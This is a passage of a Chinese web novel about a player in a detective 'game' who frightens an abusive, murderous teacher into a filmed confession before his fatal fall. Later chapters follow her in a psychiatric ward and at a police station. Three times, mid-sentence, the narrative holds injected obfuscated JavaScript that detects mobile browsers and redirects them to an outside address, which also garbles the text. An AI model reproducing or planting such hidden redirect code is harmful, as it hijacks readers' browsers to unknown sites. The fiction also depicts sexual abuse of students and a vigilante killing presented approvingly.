陈国方立刻停住了往房间里逃的脚步,好不容易站定身体,看向白烛长燃的洞房深处——空无一人。 房、房间里也不安全!还、还是得往外面跑!! 打定主意,陈国方想回去门口继续去撞门。却一个转身间,一个满面鲜血的女鬼就站在了他的面前!! “啊、啊啊啊啊啊啊————” 面前的女鬼面容扭曲又糊满鲜血,依稀可辩的五官都碎裂成了活人根本不可能有的样子!眼球突出,浊液与鲜血混杂着从眼角流下,黑色的长发批住半副面容,仿佛爪牙般无风自动…… 最重要的是、这个女鬼身上穿着标牌是“方映秋”的校服!!! “鬼、鬼啊啊啊啊啊啊——” 陈国方再也坚持不下去,凄惨的惊叫直接破音,嗓子疼得血腥几乎喷喉而出! 他也已经顾不得屋里屋外,飞奔着想远离“女鬼”,却在转身的一刹那,被“啪”地拽住了手腕。 冰凉刺骨的温度一下子从手腕凉到心底,让他恨不得立刻将自己的手剁了,而那女鬼手上突出骨节卡住他的皮肤,一只几乎只剩骨头的手死死拽着他,力道大到根本无法挣脱! “别、走、啊。”冰凉的气息蓦地靠近,他几乎能感受到那个女鬼开口间喷出的阴气。 “不、不不不要……方、方同学,映、映秋,放、放过我,放过老师……”挣脱不得,只有求饶。 淅淅沥沥的水声响起,骚臭的黄水从陈国方的□□落下,在他没有注意到的地方,面前的“女鬼”目露嫌弃,不着痕迹地避开了那摊水渍。 “放过你?”女鬼轻飘飘的声音再度响起,尖利又嘲讽地一笑,“陈老师,我也这么求过你……” 女鬼的手一抽一拉,“啪”一下卡住了面前陈国方的脖颈! “你,放过我了吗?” 手腕处的抓力陡然变大!尖锐的指甲刺破了他的皮肤,鲜血喷溅而出! “求求老师……放过我吧……” 幽幽的泣声与哭求,是陈国方往日里最迷恋的声音。 他沉迷于那些女学生在他魔爪下逃无可逃,只能被迫顺从的哭求模样。 如今,他终于变成了只能哭求的那一方,“求求你、求求你,方、方、方同学、方大仙……你、你放过老师、放过我……我错了……” “错了?”又是幽幽一笑,“老师怎么会错?陈老师不是一直说,老师永远,都是对的吗?” “老师、老师错了,老师不该把你骗到家里,不该、不该把你……”见这女鬼竟然可以沟通,陈国方像是抓住救命稻草一样,口不择言地告饶,“求求、求求你,放、放了我这一次,我以后一定、一定不会再犯!我、我每年都会给你烧香,你、你想要什么我都能给!我找人给你、给你作法……” 面前的女鬼似乎停顿了一下,就在陈国方以为有戏的时候,突然“啪”一声,抓住了他另一只手,随即直接往女鬼自己的“身上”按过去! 陈国方目眦欲裂,却挣脱不得。只能眼睁睁看着她抓着自己的手,摸向了她破了一个大洞的腹部。入手都是黏腻冰冷的触感,错乱破碎的骨骼刺破皮肤,让他毫无阻碍地穿过皮肉脏器,直接摸到了空洞腹部中那个尚未成型的胎儿!! “啊啊啊啊啊——放开、放开!!!我错了我错了我错了!!求求你啊啊啊啊——” 在陈国方的惨叫声中,女鬼咧着嘴笑着凑近,“陈老师摸到了吗?是你的宝宝呢……” “不不不不啊啊啊啊啊——” 这一连串超乎常理的可怕事件几乎将这个成年男人的心智压垮,起先还会求饶两句,到了现在只会惊叫恐惧。 见火候已经差不多,谢柏雅一把扭开陈国方的手,随即在他膝弯处踹了一脚,“噗通”一声,陈国方毫无反抗地跪倒在供台前。 “陈老师……想道歉吗?”她缓缓弯腰,干枯的长发和血肉顺着她的动作掉落到陈国方身上。 听到他的话,本已吓得快要翻白眼的陈国方似乎被震醒一般,“道、道歉,我道歉!!让我做什么都可以!!只要你放过我!!!!” “这上面,是我的牌位,”女鬼伸手,指着喜堂正中的木板,“老师诚心认罪,我就开门。” 陈国方抓住了最后的救命稻草,听到能开门放他出去,立刻什么都顾不得了,对着喜堂“砰砰砰”磕了三个响头,鲜血从磕头处流下,他却浑然未觉,只是战战兢兢又甚是诚恳地对着那个喜堂——和喜堂后死角处装着的摄像头——一五一十地供述了自己的罪行。 包括是怎么挑选和□□女学生,又在事后诱导她们自杀,在诱导方映秋失败后,再亲手将她从七楼扔下去的所有罪行。 “吧嗒”一声轻响,就在陈国方最后一个字落地时,门口的门锁突然打开。 “老师,请吧。”方映秋笑着,指了指门口。 早已被吓破胆的陈国方根本没发觉任何不对,只看到那缓缓敞开的门口,那是生还的希望在朝他招手!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582590|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他迈动步伐,逃命的速度快过这辈子跑过的任何速度,不顾一切地跑向门口! 出来了!出来了!只要能出这道门!他就—— 他跑到门口,撞开门,以为自己终于逃离了可怖的地狱! 安…… 踏出门的一刹那,仿佛穿过了什么诡异的传送门一般,门外不是他想象中的任何场景! 全…… 呼啸的风声从耳旁刮过,剧烈的失重感甚至没能追上他迷惑的意识,在他意识到发生了什么前,就从高处迅速坠落! 了…… 在即将落地的最后一秒,陈国方终于在周围熟悉的景色中反应过来——他从学校育德楼的天台上跳了下来!! “砰——” 凡胎□□与坚硬的水泥地相撞,剧烈的疼痛瞬间充斥了他的四肢百骸,巨大的血月充斥着他的视野,在意识死亡的最后一秒,他痛苦而恍惚地想到…… 原来这就是,那些受害者的感受吗? * 育德楼七楼的天台上,徐婉探出栏杆看了看,鲜血绽放在那具罪恶的躯体下,她舒了一口气,“死了。” 在她旁边,一直在摆弄手机的小赵也抬头表示,“刚刚他对着灵堂认罪的这段视频,也已经上传到网络上了。” 谢柏雅点点头,没有任何多余的表示。 “你当时说的……只是让他自己认罪。”石兴旭站在谢柏雅身后,他捏着手机,脸色有些不太好看。 谢柏雅侧头看了他一眼,“让他认罪,和让他受到惩罚并不冲突。” “法律会让他收到应有的惩罚。”石兴旭回答得毫不犹豫。 “怎么,角色代入太深了?”谢柏雅笑了一声,“石队长,这是游戏。” 她探头,终于给楼下那具肮脏的尸体施舍了一个眼神。 “我们的游戏任务只有八个字——为生者权,替死者言。” 他为他的罪恶付出代价,在生命的最后感同身受了所有被他侵犯的受害者的体验……这就是谢柏雅上交的一份答卷。 【系统提示:恭喜玩家,任务完成。】 天台上其余人想必也在同一时刻收到了系统提示,徐婉和小赵愣怔后,感激又激动地看向谢柏雅,恨不得扑上来抱住她——这一整个副本里,几乎都是谢柏雅带他们一路在破案做任务,他们做的只有打下手的工作,但就这么轻轻松松通关了!! 【系统提示:副本结算启动中……玩家即将被传送回原有世界……倒计时……十、九、八、七、六……】 “我刚刚收到鉴证科的同事信息。”石兴旭将手机的短信打开,递到谢柏雅面前。 【五……】 “石队,方映秋肚子里孩子的DNA,和你提供的嫌疑人陈国方的DNA,我们做了比对,结果是,不匹配。” 【四……】 “陈国方不是方映秋孩子的生父。” 【三……】 谢柏雅拉开游戏面板,【真相进度:95%】 【二……】 “但他是侵害方映秋的人,也是最后导致她死亡的人,”谢柏雅闭了闭眼,“还是那句话,我们的任务,完成了。” 【一。】 在倒计时的最后一刻,石兴旭突然伸手,握住了谢柏雅的胳膊。 “我会去现实中找你,谢柏……” 【倒计时结束,玩家退出游戏关卡,祝您拥有愉快的休息时间。】 * 《轮回》游戏大厅聊天室。 [诶诶诶,那个霸王花新人的第一关游戏终于结束了,没想到新人第一关抽到高校连环自杀,最后都能以95%的分数结束啊!] [对啊,上一次这一关打出这么高的真相度的,是子七大佬吧?我还以为新人能破了大佬的记录呢,没想到也只是个持平。] [哎……说到底这一关目前还没有人满分过,话说,最后那5%的真相,到底是什么?] [子七大佬和霸王花大佬都没能发现的真相,我等凡人讨论破头也不会有结果的,我去看这次直播的切片录制了,我要把霸王花的切片盘一百遍!!] [+1!!在霸王花下一次开始直播前我就靠着这个过活了啊啊啊啊啊啊!!] [这次那个扮演警察队长的新人也不错啊,有人关注了吗?下次也……] …… 与此同时,在现实中,光城精神卫生中心,特殊病区三号房中,谢柏雅从病床上睁开了眼。 21. 第 21 章 光城精神卫生中心,11:30。 “护士长,普通病区15号床消毒结束了吗?下午一点可能还要再搬个病患进来。” “在催了在催了,怎么这两个月突然这么多人进院?真是奇了怪了。” “可不是吗?而且这又是同个症状的,就和之前那几个一样,嘴里念叨着什么游戏,什么要完成任务,在游戏里死了什么的。” 护士长领着小护士走在特殊病区的走廊上,特殊病区比普通病区寂静了不止一倍,两人交谈的声音也不由自主地压低。 “见怪不怪了,”护士长叹了口气,“现在的年轻人啊,打游戏打得这里出问题的,不在少数。”说着,她指了指自己的脑袋。 小护士跟着点点头,随即声音更低,谨慎问道,“那里面这位……难道也是这个症状?” 两人停在了一个病房门口,护士长摇摇头,“这里可是特殊病区,哪有那么简单的病人?” 护士长刚想敲门,却发现病房门没关,她也不奇怪,轻手轻脚地推门进去。 特殊病房三号房的装饰映入眼帘,小护士是新来的,瞪大眼睛往里面看去,还是没压住喉底的惊呼:“哇……好黑!” 并非是说房间里没开灯,而是说这整个病房的颜色。 墙壁被涂成了全黑的吸光材质,病房中所有的家具、装饰物都做成了通体的黑色,连像移动病床的滚轮这种不方便做黑的,都拿一层黑布包了起来,乍一走进去,仿佛一脚踏进了一个无底黑洞一般,呼吸都因这遍布的黑色而凝滞。 “这病人……是强迫性神经障碍?”看着这满满的黑色,很难不怀疑这病人的病因。 护士长摇了摇头,转而领着她走进了内间的会客室——特殊病房的一切都参照星级酒店的套房打造,如有必要,病人在病情允许的范围内也可以提出改造意见,比如这间纯黑病房。 会客室内,出现了这个纯黑房间中唯一色彩——白色的沙发上,躺着一个穿着白色病服的女人。 那是整个纯黑世界中唯一的白色,鲜艳得刺目,仿佛一叶漂泊于冥河上的白舟。 或许是常年在病院中不见天日的原因,她的肤色呈现出一种病态的苍白感,整张脸上唯有唇部有淡淡的血色,看上去仿佛……不像活人。 护士长见怪不怪,轻轻蹲下身,示意小护士拿出准备好的药剂和点滴,给病人的手背消毒,准备扎针。 就在针尖要碰到皮肤的时候,病人醒了。 小护士只是一个抬头,就和一双黢黑的双眸对上了眼,吓得她心脏猛地跳动。她本以为整个房间中的无边黑色已经足够吓人,但在看到这双黑眸时,却觉得连房间中的黑色都有了温度。 “新人?”沙哑的声音在病房中响起,病人开口了。 边说着,病人边收回手,解开自己手腕上的橡胶带,拒绝输液的动作非常明显。 护士长也不强迫,点头道,“是的,这位陈护士是新人,之前那位离职了,之后就由她接手谢小姐您的看护工作。” 小护士恍然想起,病房门口的门牌上,挂着“谢柏雅”三个字。 谢柏雅目光扫过小护士,没有什么反应,只是淡淡开口,“林医生呢?” 林医生?小护士一愣,是说那位镇院之宝,他们医院高薪特聘的业内传说级主任,林景泽医生? 护士长回话:“林医生去休息用餐了,走之前他特意嘱咐我们,若您还睡着的话,就给您打点葡萄糖。” 谢柏雅的目光扫过护士长手上的针尖,最后在药瓶上“葡萄糖”三个字顿住,随即收回。 “但我醒着。” 护士长点头,“那打扰了。” 说着,她走得也干脆,拉着小护士就走出了病房。 一直到了门外,屏息的小护士才缓缓吐息:“这病人的气场……太吓人了。” 只是在那里躺着说话,便不自觉让人屏息凝神,她只是直视了对方一秒,便不自觉别开眼,不敢再看。 “那是她故意布置的纯黑房间对你产生了心理上的暗示。” 儒雅的声音从两名护士身后传来,一名穿着白色长褂的年轻男性走近,走过窗边,阳光将他的金边眼镜反出些微锐利的光。 “黑色代表邪恶与恐惧,进入纯黑的房间,不自觉就会让人产生畏惧害怕的心理,只要你踏入了她刻意营造的威压氛围,就会掉入她给你的心理暗示。” “林医生。”护士长打招呼。 “三号房病人醒了?” “是的,我们进去的时候刚醒。”小护士点头。 “那就是已经醒了最少半小时以上了,”林景泽医生扶了扶眼镜,看向小护士,微微一笑,“对待这位病人,所有你看到的,只是她想让你看到的。” 林景泽医生与两人擦身而过,走进了三号病房。 看着连林医生都对这病人如此慎重,小护士好奇地探头:“那这位病人……到底是什么情况啊?” 护士长缓缓开口:“你听说过……三年前那个未成年情杀案吗?” * 林景泽推开纯黑的房门,脱下了外披的白色长褂,露出了里面的驼色高领羊绒衫。 他走到谢柏雅对面的沙发上坐下,先自顾自地给自己倒了一壶茶,随即抬头,还没开口,对面就给了他一个疑似下马威。 “咖喱土豆牛肉饭,还加了特辣,配食堂的紫菜蛋汤——你这一副文质彬彬的样子却爱吃这么重口味的主食,与外在形象严重反差啊,林医生。” 林景泽显然已经对这种突击习以为常,他抽出自己的笔记,慢慢翻到最新一页,边还有心思与她对话。 “咖喱和特辣可以从我外套残留的酱料气味闻出来,食堂的紫菜蛋汤是怎么侧写出来的?” 谢柏雅淡淡垂眸,看着自己苍白的指尖,并不说话。 林景泽也不强迫她回答,干脆开门见山直击主题,“这一次的催眠中,你想起当年案发现场的回忆了吗?” “没有,”谢柏雅答道,“我只看到了血。” 林景泽记下,顺便往前翻了记录本,“第一次看到血,是在我们的第五次催眠中……” “准确来说,是第一次,”谢柏雅打断他的话,“是你第一次,终于成功催眠了我。” “你如果愿意这么记的话。”林景泽耸耸肩,“现在又过去了三次,梦境里除了血以外,还出现了其他东西吗?” 谢柏雅沉默,片刻后开口,“尸体。” 林景泽似乎终于来了点兴趣,他微微倾身,问道:“哦?庄明竹的尸体?” 庄明竹,当年谢柏雅被控诉为凶手的案件中,那名身亡的被害者。 “不,”谢柏雅抬头,直视林景泽,“我的尸体。” 她穿越进了一个不同的世界里,以“尸体”的身份,经历了一场光怪陆离的游戏,然后,在这座沙发上睁开了眼。 她的目光缓缓凝伫在林景泽的脸上。 而现在,她需要知道,那一切是不是出自面前这位林医生的催眠。 一个小时后,林景泽收起笔记本。 “今天的治疗就到这里。”他站起身,“往后我不会再给你开服用的药片和药剂,仙人掌的命也是命。” 他的目光落到了阳台上一盆盆绿植上——谢柏雅只是把房间改造成了纯黑,但阳台上倒是布置了绿植,那也成了她屡屡倾倒药剂的地方。 “我会重新开点滴的药剂,让人按一日三餐的量给你……” “我有按时服用药物。”谢柏雅突然开口,打断他。 林景泽挑眉。 “不信可以找人去检测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597211|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳台上的所有植物,包括房间的所有柜子床底,你们能找到任何药剂成分,我立刻自首认罪。” 她都这么说了,那就肯定无法检测到。 林景泽不会多此一举,只是瞥了一眼衣架上属于谢柏雅的外套,“你的手机已经震了半分钟了。” “不用管它,骚扰电话。” 林景泽点头,随即神色如常地离开了病房。 等他走后,谢柏雅终于站起身,从口袋里拿出了手机。 屏幕上已经多了十多通同样号码的未接来电,她刚想将号码拉黑,却不小心误触了又一通跳出来的通话提示,于是电话里铺天盖地的骂声响彻病房。 “杀人犯!死变态!老天不会放过你的!你要给明竹偿命!你个畜……” 谢柏雅表情分毫未变,只是平淡地掐断电话,随手拉进了黑名单。 至于那个人肉到了她的号码,又接连打电话骚扰她的人,想必一直监控着她手机的那些人会帮她处理的。 谢柏雅放回手机,重新倚回了纯白色的沙发上,顺手打开了对面的电视。 侧写一位顶级心理医师耗费的精力太大了,她需要一些无关的白噪音抚平一下紧绷许久的脑神经。 林景泽没有异常,至少她没有发现这位林医生与“系统”和游戏《轮回》有什么关系。 而且,她不止一次经历过林景泽的催眠,他的催眠确实可以重构自己记忆中的场景,却无法无中生有,更无法构造那么完美的“全新世界”。 所以……自己经历的那个《高校连环自杀》副本,连同游戏《轮回》,似乎都是“真实”的? 她在脑中缓缓思索着这一切,电视中的新闻也在一并播报,一心二用对她来说并不困难,记者的声音在耳边响起。 “……昨日,光城下辖湖县内发生一起高中生跳楼案,死者为湖县七中高二年级学生,坠落地点为学校育德楼七楼天台。死者为两日前丁卯巷恶性凶杀案目击者暨嫌疑人,该起跳楼案与前日的凶杀案是否存有直接联系,目前警方正在全力调查,也欢迎广大市民提供线索。下一则新闻……” 谢柏雅在听到“育德楼天台”几个字时已经缓缓抬头,在听完整条新闻后,已经拿起了手机。 打开地图软件,谢柏雅定位到了湖县七中,果不其然,就在学校侧门处,看到了丁卯巷的街巷名称。 发生在学校一墙之隔小巷内的凶杀案、目击者同时也是嫌疑人的高中生第二天跳楼身亡、坠落地点是学校育德楼七楼天台…… 这一条条关键词,都仿佛在指向她刚刚通关的那个游戏案件。 世间真的会有这么巧的事吗? 还是说…… 谢柏雅没有思考多久,毫不犹豫地走到桌边,拿起座机的听筒,按了护士站的号码。 “喂?帮我转林景泽办公室。” 林景泽接起电话的时候,声音中有明晃晃的惊讶——在非治疗的时间段内,他从未收到过谢柏雅的任何讯息。 但谢柏雅没给他惊讶的时间,开门见山,“林医生,我申请提交今年的出院假期。” 这间医院每年都会给处于特殊病房的病人一次出院假期,为期一个星期,但需经过主治医师的评估,且出院假期时也需要相关医护人员全程陪同。 “出院假期?”林景泽那边写字的声音顿了一下,“……如果我没记错,这是你入院三年里第一次申请。” 谢柏雅不愿和他绕弯子,“你的评估是?” “给予批准。”这次,林景泽答得很干脆,“但我需要知道你的行程安排及理由。” “目的地,光城刑警总队。理由……提供刑事案件相关证据。” 林景泽沉默了一会儿,“……你要自首?” 谢柏雅:…… 谢柏雅:? 22. 第 22 章 烈日从头顶洒下,正值盛夏,光城又是沿海,多了一份燥闷的湿热,但谢柏雅戴着白色草帽站在日头下,目不转睛地盯着面前“光城刑警总队”的牌子,一滴汗都没出。 “你对这里没有印象是正常的。”脚步声从身后传来,林景泽停完车,拿着车钥匙走了过来,“一年半以前,刑警总队从里到外装修过一次,就算你三年前在这里待过一段时间,现在这里也已经大变样了。” 谢柏雅不置可否,“走吧。” 走进警队大门,里面的冷空调开的很低,扑面而来的冷气把谢柏雅冻得一个激灵,瞬间打了个喷嚏。 “披上?”林景泽随手解下自己的外套递给了她。 谢柏雅看了一眼他手上的外套,突然轻轻一笑,“这么低级的手段就不必了吧,林医生?” 林景泽抬眸看着她,没有说话。 谢柏雅继续开口,“车上有我的外套,但你没有拿下来,总不至于就等着这一刻上演这种拙劣的偶像剧戏码吧?” 林景泽笑笑,“那你又为什么把外套留在车上呢?你是那种丢三落四的性格吗?” 谢柏雅可以算是他职业生涯中遇到最难缠的病人,没有之一。如果将一个人的心理防线实体化的话,寻常病人的防线最多只是一座防御牢固的要塞,而谢柏雅……是一道长城。 光是走近城墙,到达城门底下这几步,林景泽就用了近三年的时间。而如今,他也不过是堪堪摸到城门的叩门砖而已。 两人略有些僵持起来,林景泽先退一步,叹了口气,“你在这里等我一会儿,我去帮你拿外……” “没必要,我本来就不冷。”谢柏雅不再看他,“进入温差的地方,鼻粘膜受到刺激从而打喷嚏是很正常的现象。” “两位……”一道声音打断了两人的对话,或许是看他们两人在门口站的太久了,工作台后面的警员小哥有些犹豫着走上前来,询问道,“是遇到什么困难了吗?要报案吗?” 谢柏雅摇摇头,跟着接待的警员小哥走到记录台前坐下,问完姓名和电话的基础信息后,开门见山,“我在新闻上看到了一桩案子,来提供线索,就是那起湖县七中女生跳楼案。” 警员下笔的动作一顿,“湖县?” 湖县虽然是光城的下辖县级市,但除非是重大疑难案件,不然一般的案件不会上报到刑警总局,所以这警员才会愣住。 ——谢柏雅本是这么以为的,却见那小警员挠了挠头,“你也是来提供湖县案子的线索的?” “也?”谢柏雅挑眉。 “对,就在你来前不久,里面还有个小姑娘也是来……” 警员正解释着,一旁询问室的门从内打开,一名年长警员和一名年轻女性走出了门。 警员拿着笔记本,公事公办道,“您说的一切我们已经记录在案,会派专人核查的。” 那个年轻的女孩子显得十分心急:“我说的都是真的!那个案子真的不是自杀!就是他们那个教导主任干的!那个教导主任还杀……额,也可能不是他杀的,总之他还导致了前面几个女生的死亡!” 警员看上去有些无奈地叹了口气,“夏小姐,您先冷静一下,我们理解您对案子的急迫,但您也说了,您连认都不认识受害者,关于您说的一切,也得给我们时间核实啊……” 那名夏小姐的声音十分有活力,看上去也不过二十出头的年纪,一脸焦急,在这空调房里都急出了汗,抓着警员的手腕还想说什么,余光却突然瞥到了大厅里的谢柏雅,猛地转头看向了她。 在夏小姐的脸转过来的那一刻,谢柏雅也终于将她与记忆中的某张脸对上了—— “方姐!!”夏小姐也认出了她,激动地冲过来,握住了谢柏雅的手。 ——是徐婉,那个和她一同进行游戏的女生。 谢柏雅张了张口,遏制住了想要叫出口的“徐婉”,点了点头,“……小夏。” 那个录口供的警员也走了过来,“这位是……夏小姐的朋友?” 接待的警员站起身,走到他身旁轻轻补充道,“张哥,刚刚这位谢女士也说,有湖县七中那个案子的线索提供。” 这一下,张警官的目光更狐疑了,看向谢柏雅,“你们认识?”示意了一下谢柏雅和小夏。 小夏猛点头,但张警官皱了眉,“那刚刚为什么她叫你方姐?” 笔录上明明说了,面前这女孩儿姓谢? 小夏心中一突,糟了,刚刚叫顺口了……她还不知道方姐在现实中的名字呢! 谢柏雅面不改色地开口:“网名。” “你们是网友?” “对、对啊!”小夏赶忙认下,“都这个年代了,认识几个现实不是很熟、但网络上已经聊得热火朝天的网友,不算稀奇事吧?” 确实不算什么稀奇事,但前提是两人没有牵涉到同一桩案子,还正好在同一时间来警局提供线索——还不是约好了结伴前来的。 “那他呢?”张警官指了指从刚刚起,就安安静静站在谢柏雅身后的林景泽。 “他……” 谢柏雅还没说完,林景泽就温和一笑,“我只是陪同谢小姐来报案的,你可以当我是司机。” 两名网友、一名司机,来提供一桩远在异地的自杀案的线索? 张警官一时有些拿不准主意,用笔盖挠了挠头,“那……谢小姐跟我进来,再做一份笔录?” 谢柏雅余光瞥了一眼小夏。 小夏虽然心直口快,但心思也转得灵敏,想到两人进行“游戏”的事,在现实中没有串过口供,赶忙挽住谢柏雅的手,“我、我陪谢姐一起进去。” “一起?”张警官眯了眯眼,觉得事情有点古怪了,“夏小姐刚刚做过笔录了。” “谢姐身体不好!单独一个人进去我不放心!”小夏开口。 她还没忘记谢柏雅之前在游戏里的那句“病人”,而且如今现实中一看,谢姐脸色白的和纸一样,大夏天都穿着长袖长裤,身材也纤瘦异常,一副风一吹就倒的样子,说是“身体不好”一点都不夸张。 谢柏雅只是思考了一瞬,便摇摇头,“没关系,我一个人就……” 她话还没完,内间另一道门被拉开,一个穿着便服的男人走了出来,眼底有些乌青,像是许久没有睡好。 “小张,之前那个案子的笔录你整……” 一个哈欠还没打完,突然看到了站在厅内的众人。 几乎是同一时刻,谢柏雅察觉到一道警觉又冰冷的目光锁定在了自己身上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601363|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而面前这个打着哈欠的年轻警察,也在瞬间变脸,面上表情如凝冰瀚海,目中却如喷火般,死死地盯着谢柏雅。 “……石队!”旁边的小夏瞬间认出,这走出的警察就是另一个他们游戏里的同伴,石兴旭! 但她还没来得及冲上前去“认亲”,就被谢柏雅拽住,轻轻摇了摇头。 这人虽然长着游戏里石兴旭的脸,但不是石兴旭——这人的目光不对。 这男人看着她的目光不是“他乡遇故知”的惊讶或是喜悦,而是一种……克制的怒火? 就在谢柏雅拉住小夏的时候,那酷似石兴旭的男人缓缓向她走来,停在她面前,愤怒又克制的目光死死盯着她,半晌,嘲讽一笑,“怎么,时隔三年,你终于想通,要来自首了?” “自、自首!?”小夏低呼一声,看向谢柏雅。 自首?什么自首?方……谢姐难道……? 谢柏雅在他那样喷火的目光下,始终是淡然的,只是在听到“自首”两个字时,莫名轻笑了一声。 “……你还敢笑?” 谢柏雅瞥了一眼这位警官的警牌,姓名:庄仲纬。而三年那桩案子的被害者,叫庄明竹。庄并不是什么大姓,谢柏雅想,她知道面前这位警官看到她这么愤怒的原因了。 “这位……庄警官,很抱歉,在我的记忆里并不认识你,至于‘自首’……如果你早一天提出,这还算是个新鲜的笑话,但很可惜它已经过时了。”说着,她瞥了一眼角落里低笑的林景泽。 一个两个看她来警局,都觉得她要“自首”——哪怕是在证据链不完全,连陪审团都认定自己无罪的情况下。 看着目中愤怒,却实际什么也不干不了的庄仲纬,谢柏雅敛了笑容,“我今天来,是来提供近期一桩案子的线索,至于其他案子,庄警官如果有兴趣,我们可以之后再详谈。” 庄仲纬冷笑一声,“近期一桩案子?你又犯新的案子了?” 谢柏雅沉声,“一桩事涉至少四位受害者,其中一位还疑似被伪造成自杀的案子。” 说着,她打开手机,搜出那条新闻的页面,反手举到了庄仲纬面前。 “新闻上只写了高中生跳楼案,但我在踏进警局后、还没见到小夏前,就已经精确说过了那名受害者是女生,对吗?”她看向最先给她做笔录的接待警员。 庄仲纬也看向他,那小警员咽了口水,点点头。 谢柏雅重新看向庄仲纬,“这足以证明我确实知道案情内幕,庄警官。不管信不信我,至少也得听听证词,毕竟那事关四条人命。” 庄仲纬的脸上也渐渐收了冷笑,在看到谢柏雅那一刻瞬间倾泻的怒火慢慢熄灭,理智开始回笼。 旁边的小张看着他的样子,在严肃的气氛中小心翼翼开口:“那……庄队,我先去给谢小姐做笔……” “不用,”庄仲纬冷声打断他,顺手搓了搓两天没合的双眼,从小张手中拿过笔记本,走向了问询室的方向,“我来。小张把那个案件的资料整理一下发到我手机上。” 面对谢柏雅这种“极端危险人士”,他可不敢放底下的小警员和她接触。 总算可以开始做笔录了,趁着所有人都没反应过来的时候,谢柏雅拉过小夏,一起走进了问询室。 23. 第 23 章 “姓名?” “谢柏雅。” “年龄?” “二十。” “住址?” 见谢柏雅没有如前两个问题一样马上开口,庄仲纬从笔记本上抬起头,看向她,重新问了一遍,“住址?” 谢柏雅十指交叉,微微向椅背上一靠,“根据《刑事诉讼法》规定,证人提供证词的笔录里,并不需要提供本人地址,只要提供联系方式,比如手机号,就足够了。” 虽然已经决定了以案件为重,但庄仲纬还是遏制不住对谢柏雅的怒意,压着声音反问,“你们医院还可以使用手机?” 谢柏雅低笑,“所以你知道我的住址,那还问什么?” 庄仲纬不说话,只是低头,在“地址”后面自己加上了几个字:光城精神卫生中心,随即继续问:“病房号?” 原来他打探的点在这儿——他虽然是警局内部系统内的人,但出于避嫌的原则,没有资格查阅和自己直系亲属有关的任何案卷卷宗,所以三年前的案子,他可能知道自己这个“凶手”一直在医院,但不知道具体的信息。 谢柏雅耸耸肩,“我就算告诉了你,你也进不来。” 特殊病区的防护是出了名的严格,里面的人出不来,外面的人进不去。 庄仲纬不再纠缠,笔记本翻到新一页,再度开口,“那说说那个案子,湖县七中跳楼案,你知道哪些内容?” “被害者方……”想了想,还不知道现实里的名字会不会改,于是谢柏雅改口,“我们叫她方方,是她的网名。长期遭受校园霸凌,还疑似遭到……可能是老师的人猥亵。” 庄仲纬的笔尖一滞,“这是她在网上告诉你们的?” 他刚刚抽空看了一眼前面小夏的笔录,也提到了这一点。 被庄仲纬看了一眼的小夏终于回过神来,点了点头,“啊,是的。” 自从进到问询室里,这两人间的气氛就剑拔弩张得她根本插不进嘴。对面这个警察分明长着石兴旭的脸,怎么好像对他们在游戏里的事一点印象都没有? 明明前一天在游戏里他们还在共同合作破案,到了现实里,怎么就像换了个人似的,对她们——尤其是谢姐,这么敌视? 庄仲纬继续问:“哪个社交平台?聊天记录方便出示一下吗?” 是警方问询中很正常的问题,但听得小夏后背渗汗。 要聊天记录,她们肯定是没有的,毕竟现实里她们真的一点都不认识啊!她看向谢柏雅,不知道她心中无所不能的谢姐有没有什么“无中生友”的办法。 但谢柏雅很淡定,反倒来了招反客为主,摊开手掌看向庄仲纬,“手机。” 庄仲纬顿了顿,“你们的聊天记录,难道在我的手机里?” 谢柏雅的手没有缩回来,“你要聊天记录,无非就是想要我证明,我们确实认识死者,而死者也确实遭受过这种事,不是吗?我有更好的证明方法。” 庄仲纬将自己的手机递了过去。 谢柏雅大大方方将手机放到了桌子上,打开了网页,输入了一个网页地址,点进去了一个论坛,随之而来的是一个弹出来的提示。 【本论坛为校内论坛,仅本校账户可查看内容,请登陆。】 跳到登陆界面,谢柏雅熟门熟路地输入了方映秋的账号和密码,直接登陆了进去。 “这就是方方的校内论坛账号,我连她账号密码都知道,足以证明我和她很熟。至于她被霸凌的证据,这也已经很明显了。” 校内论坛和他们在游戏里看到的一模一样,不乏一些毫无根据的造谣贴,再往前翻,还有之前关于助学金的谣言,堪称恶行累累。 庄仲纬翻了几页论坛,认可了这个证据,在笔记上又记了几笔,随即换了个问题。 “关于校园霸凌的事我们会和湖县警方沟通,但这些证据……从刑事犯罪角度,只是更坐实了这个女孩儿会自杀的可能,”他抬头,看向她们两人,“她是不是还和你们说过什么?比如自己被人威胁?是夏小姐口供上说的教导主任?如果可以的话,希望你们提供相关证据,可以直接指认凶手。” 